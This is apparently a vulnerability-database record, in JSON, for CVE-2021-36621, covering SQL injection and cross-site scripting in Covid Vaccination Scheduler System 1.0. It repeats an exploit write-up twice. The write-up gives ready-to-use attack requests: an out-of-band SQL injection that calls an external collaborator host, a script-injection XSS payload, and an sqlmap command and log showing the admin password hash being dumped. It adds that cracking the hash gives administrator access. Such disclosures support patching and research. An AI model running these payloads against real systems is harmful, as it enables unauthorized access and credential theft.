Description
Covid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.
Related
{"id": "1337DAY-ID-36830", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting Vulnerabilities", "description": "Covid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.", "published": "2021-09-29T00:00:00", "modified": "2021-09-29T00:00:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/36830", "reporter": "nu11secur1ty", "references": [], "cvelist": ["CVE-2021-36621"], "immutableFields": [], "lastseen": "2021-12-03T01:53:10", "viewCount": 110, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-36621"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164324"]}], "rev": 4}, "score": {"value": 0.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-36621"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164324"]}]}, "exploitation": null, "vulnersScore": 0.3}, "sourceHref": "https://0day.today/exploit/36830", "sourceData": "## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621)\n## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html)\n\n\n## Description\n\nSourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication.\n\nThe attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.\n\nNext, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.\n\n## Request MySQL:\nGET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1\nHost: localhost\nCookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\n## Respond MySQL:\nHTTP/1.1 200 OK\nDate: Tue, 28 Sep 2021 11:17:00 GMT\nServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22\nX-Powered-By: PHP/7.4.22\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nAccess-Control-Allow-Origin: *\nContent-Length: 5045\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n<style>\n#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{\ndisplay:none;\n}\n#uni_modal .modal-body{\npadding-top:0 !important;\n}\n#location_modal{\ndirect\n...[SNIP]...\n\n## Live test: \nhttp://localhost/scheduler/addSchedule.php?lid=(select%20load_file(%27%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd%27))\n\n- proof:\nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/docs/scheduler-CVE-Critical.gif\n\n-----------------------------------------------------------------------------------------------------------------------------------------\n\n## Request XSS:\nGET /scheduler/addSchedule.php?lid=5&d=v6qfw%3cscript%3ealert(1)%3c%2fscript%3eytpic HTTP/1.1\nHost: localhost\nCookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\n## Respond XSS:\nHTTP/1.1 200 OK\nDate: Tue, 28 Sep 2021 11:16:57 GMT\nServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22\nX-Powered-By: PHP/7.4.22\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nAccess-Control-Allow-Origin: *\nContent-Length: 4576\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n<style>\n#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{\ndisplay:none;\n}\n#uni_modal .modal-body{\npadding-top:0 !important;\n}\n#location_modal{\ndirect\n...[SNIP]...\n<h3>Schedule Form: (v6qfw<script>alert(1)</script>ytpic)</h3>\n...[SNIP]...\n\n-----------------------------------------------------------------------------------------------------------\n## Live test: \n- proof:\nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/docs/XSS.gif\n\n-----------------------------------------------------------------------------------------------------------\n\n## PoC:\npython sqlmap.py python C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap\\sqlmap.py -u \"http://localhost/scheduler/classes/Login.php?f=login\" --data=\"username=admin&password=nu11secur1ty\" --cookie=\"PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3\" --batch --answers=\"crack=N,dict=N,continue=Y,quit=N\" -D scheduler -T users -C username,password --dump\n\n## OUTPUT:\nPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N\nsqlmap identified the following injection point(s) with a total of 157 HTTP(s) requests:\n---\nParameter: username (POST)\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: username=admin' AND (SELECT 9211 FROM (SELECT(SLEEP(5)))oCqY) AND 'giEC'='giEC&password=nu11secur1ty\n---\n[19:49:38] [INFO] the back-end DBMS is MySQL\n[19:49:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions\ndo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y\nweb application technology: PHP 7.4.22, Apache 2.4.48\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[19:49:43] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'scheduler'\n[19:49:43] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'scheduler'\n[19:49:43] [INFO] retrieved: 1\n[19:49:49] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)\n[19:49:56] [INFO] adjusting time delay to 1 second due to good response times\n0192023a7bbd73250516f069df18b500\n[19:51:46] [INFO] retrieved: admin\n[19:52:02] [INFO] recognized possible password hashes in column 'password'\ndo you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N\ndo you want to crack them via a dictionary-based attack? [Y/n/q] N\nDatabase: scheduler\nTable: users\n[1 entry]\n+----------+----------------------------------+\n| username | password |\n+----------+----------------------------------+\n| admin | 0192023a7bbd73250516f069df18b500 |\n+----------+----------------------------------+\n\n[19:52:02] [INFO] table 'scheduler.users' dumped to CSV file 'C:\\Users\\venvaropt\\AppData\\Local\\sqlmap\\output\\localhost\\dump\\scheduler\\users.csv'\n[19:52:02] [INFO] fetched data logged to text files under 'C:\\Users\\venvaropt\\AppData\\Local\\sqlmap\\output\\localhost'\n\n[*] ending @ 19:52:02 /2021-09-28/\n\n\nC:\\Users\\venvaropt\\Desktop\\scheduler-CVE-Critical-CVE-18-09-2821>\n-----------------------------------------------------------------------------------------------------------\n## Reproduce:\nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/oretnom23/CVE-nu11-18-09-2821\n\n## Proof:\nhttps://streamable.com/zcp31i\n", "category": "web applications", "verified": true, "_state": {"dependencies": 1646032363, "score": 1659847081}, "_internal": {"score_hash": "53598b3708bd06725e7efb55103a8a09"}}
{"cve": [{"lastseen": "2022-03-23T18:52:25", "description": "Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection. The username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as Administrator.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-30T14:15:00", "type": "cve", "title": "CVE-2021-36621", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36621"], "modified": "2021-10-18T11:56:00", "cpe": ["cpe:/a:online_covid_vaccination_scheduler_system_project:online_covid_vaccination_scheduler_system:1.0"], "id": "CVE-2021-36621", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-36621", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:online_covid_vaccination_scheduler_system_project:online_covid_vaccination_scheduler_system:1.0:*:*:*:*:*:*:*"]}], "packetstorm": [{"lastseen": "2021-09-29T15:17:30", "description": "", "cvss3": {}, "published": "2021-09-29T00:00:00", "type": "packetstorm", "title": "Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-36621"], "modified": "2021-09-29T00:00:00", "id": "PACKETSTORM:164324", "href": "https://packetstormsecurity.com/files/164324/Covid-Vaccination-Scheduler-System-1.0-SQL-Injection-Cross-Site-Scripting.html", "sourceData": "`## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621) \n## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html) \n \n \n## Description \n \nSourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication. \n \nThe attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account. \n \nNext, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator. \n \n## Request MySQL: \nGET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1 \nHost: localhost \nCookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3 \nUpgrade-Insecure-Requests: 1 \nAccept-Encoding: gzip, deflate \nAccept: */* \nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8 \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 \nConnection: close \nCache-Control: max-age=0 \n \n## Respond MySQL: \nHTTP/1.1 200 OK \nDate: Tue, 28 Sep 2021 11:17:00 GMT \nServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22 \nX-Powered-By: PHP/7.4.22 \nExpires: Thu, 19 Nov 1981 08:52:00 GMT \nCache-Control: no-store, no-cache, must-revalidate \nPragma: no-cache \nAccess-Control-Allow-Origin: * \nContent-Length: 5045 \nConnection: close \nContent-Type: text/html; charset=UTF-8 \n \n<style> \n#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{ \ndisplay:none; \n} \n#uni_modal .modal-body{ \npadding-top:0 !important; \n} \n#location_modal{ \ndirect \n...[SNIP]... \n \n## Live test: \nhttp://localhost/scheduler/addSchedule.php?lid=(select%20load_file(%27%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd%27)) \n \n- proof: \nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/docs/scheduler-CVE-Critical.gif \n \n----------------------------------------------------------------------------------------------------------------------------------------- \n \n## Request XSS: \nGET /scheduler/addSchedule.php?lid=5&d=v6qfw%3cscript%3ealert(1)%3c%2fscript%3eytpic HTTP/1.1 \nHost: localhost \nCookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3 \nUpgrade-Insecure-Requests: 1 \nAccept-Encoding: gzip, deflate \nAccept: */* \nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8 \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 \nConnection: close \nCache-Control: max-age=0 \n \n## Respond XSS: \nHTTP/1.1 200 OK \nDate: Tue, 28 Sep 2021 11:16:57 GMT \nServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22 \nX-Powered-By: PHP/7.4.22 \nExpires: Thu, 19 Nov 1981 08:52:00 GMT \nCache-Control: no-store, no-cache, must-revalidate \nPragma: no-cache \nAccess-Control-Allow-Origin: * \nContent-Length: 4576 \nConnection: close \nContent-Type: text/html; charset=UTF-8 \n \n<style> \n#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{ \ndisplay:none; \n} \n#uni_modal .modal-body{ \npadding-top:0 !important; \n} \n#location_modal{ \ndirect \n...[SNIP]... \n<h3>Schedule Form: (v6qfw<script>alert(1)</script>ytpic)</h3> \n...[SNIP]... \n \n----------------------------------------------------------------------------------------------------------- \n## Live test: \n- proof: \nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/docs/XSS.gif \n \n----------------------------------------------------------------------------------------------------------- \n \n## PoC: \npython sqlmap.py python C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap\\sqlmap.py -u \"http://localhost/scheduler/classes/Login.php?f=login\" --data=\"username=admin&password=nu11secur1ty\" --cookie=\"PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3\" --batch --answers=\"crack=N,dict=N,continue=Y,quit=N\" -D scheduler -T users -C username,password --dump \n \n## OUTPUT: \nPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N \nsqlmap identified the following injection point(s) with a total of 157 HTTP(s) requests: \n--- \nParameter: username (POST) \nType: time-based blind \nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP) \nPayload: username=admin' AND (SELECT 9211 FROM (SELECT(SLEEP(5)))oCqY) AND 'giEC'='giEC&password=nu11secur1ty \n--- \n[19:49:38] [INFO] the back-end DBMS is MySQL \n[19:49:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \ndo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y \nweb application technology: PHP 7.4.22, Apache 2.4.48 \nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork) \n[19:49:43] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'scheduler' \n[19:49:43] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'scheduler' \n[19:49:43] [INFO] retrieved: 1 \n[19:49:49] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) \n[19:49:56] [INFO] adjusting time delay to 1 second due to good response times \n0192023a7bbd73250516f069df18b500 \n[19:51:46] [INFO] retrieved: admin \n[19:52:02] [INFO] recognized possible password hashes in column 'password' \ndo you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N \ndo you want to crack them via a dictionary-based attack? [Y/n/q] N \nDatabase: scheduler \nTable: users \n[1 entry] \n+----------+----------------------------------+ \n| username | password | \n+----------+----------------------------------+ \n| admin | 0192023a7bbd73250516f069df18b500 | \n+----------+----------------------------------+ \n \n[19:52:02] [INFO] table 'scheduler.users' dumped to CSV file 'C:\\Users\\venvaropt\\AppData\\Local\\sqlmap\\output\\localhost\\dump\\scheduler\\users.csv' \n[19:52:02] [INFO] fetched data logged to text files under 'C:\\Users\\venvaropt\\AppData\\Local\\sqlmap\\output\\localhost' \n \n[*] ending @ 19:52:02 /2021-09-28/ \n \n \nC:\\Users\\venvaropt\\Desktop\\scheduler-CVE-Critical-CVE-18-09-2821> \n----------------------------------------------------------------------------------------------------------- \n## Reproduce: \nhttps://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/oretnom23/CVE-nu11-18-09-2821 \n \n## Proof: \nhttps://streamable.com/zcp31i \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/164324/cvss10-sqlxss.txt", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}